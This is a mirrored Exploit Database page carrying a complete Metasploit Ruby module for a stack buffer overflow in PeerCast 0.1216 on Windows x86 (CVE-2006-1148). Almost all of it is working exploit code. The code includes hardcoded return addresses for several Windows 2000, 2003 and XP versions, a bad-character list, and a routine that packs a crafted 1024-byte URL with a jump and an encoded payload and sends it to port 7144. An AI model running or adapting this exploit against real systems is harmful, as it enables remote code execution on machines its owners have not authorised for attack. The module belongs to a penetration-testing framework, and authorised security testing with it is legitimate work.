PeerCast 0.1216 (Windows x86) – URL Handling Buffer Overflow (Metasploit)

• Exploit Database
• 16 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • windows_x86
• 来源：https://www.exploit-db.com/exploits/16786/

• ##
  # $Id: peercast_url.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (win32)',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in PeerCast <= v0.1216.
  				The vulnerability is caused due to a boundary error within the
  				handling of URL parameters.
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					['CVE', '2006-1148'],
  					['OSVDB', '23777'],
  					['BID', '17040'],
  					['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space'=> 400,
  					'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['Windows 2000 English SP0-SP4', { 'Ret' => 0x75023360 }],
  					['Windows 2003 English SP0-SP1', { 'Ret' => 0x77d099e3 }],
  					['Windows XP English SP0/SP1', { 'Ret' => 0x77dbfa2c }],
  					['Windows XP English SP0/SP2', { 'Ret' => 0x77dc12b8 }],
  				],
  			'DisclosureDate' => 'Mar 8 2006'))
  
  		register_options( [ Opt::RPORT(7144) ], self.class )
  	end
  
  	def exploit
  		connect
  
  		pat = rand_text_alphanumeric(1024)
  		pat[768, 4] = [target.ret].pack('V')
  		pat[812, 5] = [0xe9, -517].pack('CV')
  		pat[300, payload.encoded.length] = payload.encoded
  
  		uri = '/stream/?' + pat
  
  		res = "GET #{uri} HTTP/1.0\r\n\r\n"
  
  		print_status("Trying target address 0x%.8x..." % target.ret)
  		sock.put(res)
  		sock.close
  
  		handler
  		disconnect
  	end
  
  end